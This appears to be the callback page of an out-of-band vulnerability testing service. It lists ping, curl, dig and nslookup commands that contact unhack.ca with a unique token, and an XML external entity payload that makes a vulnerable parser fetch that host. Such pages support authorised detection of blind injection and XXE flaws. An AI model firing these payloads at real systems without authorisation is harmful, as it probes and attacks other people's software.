$ ping -c1 -p 002a8d7a96b04a089d5573d95dc35b00 unhack.ca
 
$ curl http://unhack.ca/p/2a8d7a96b04a089d5573d95dc35b
 
$ dig 2a8d7a96b04a089d5573d95dc35b @unhack.ca
 
$ dig 2a8d7a96b04a089d5573d95dc35b.ns.unhack.ca
 
C:\> nslookup 2a8d7a96b04a089d5573d95dc35b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2a8d7a96b04a089d5573d95dc35b">]>
    <foo>&xxe;</foo>
 
Waiting for ping...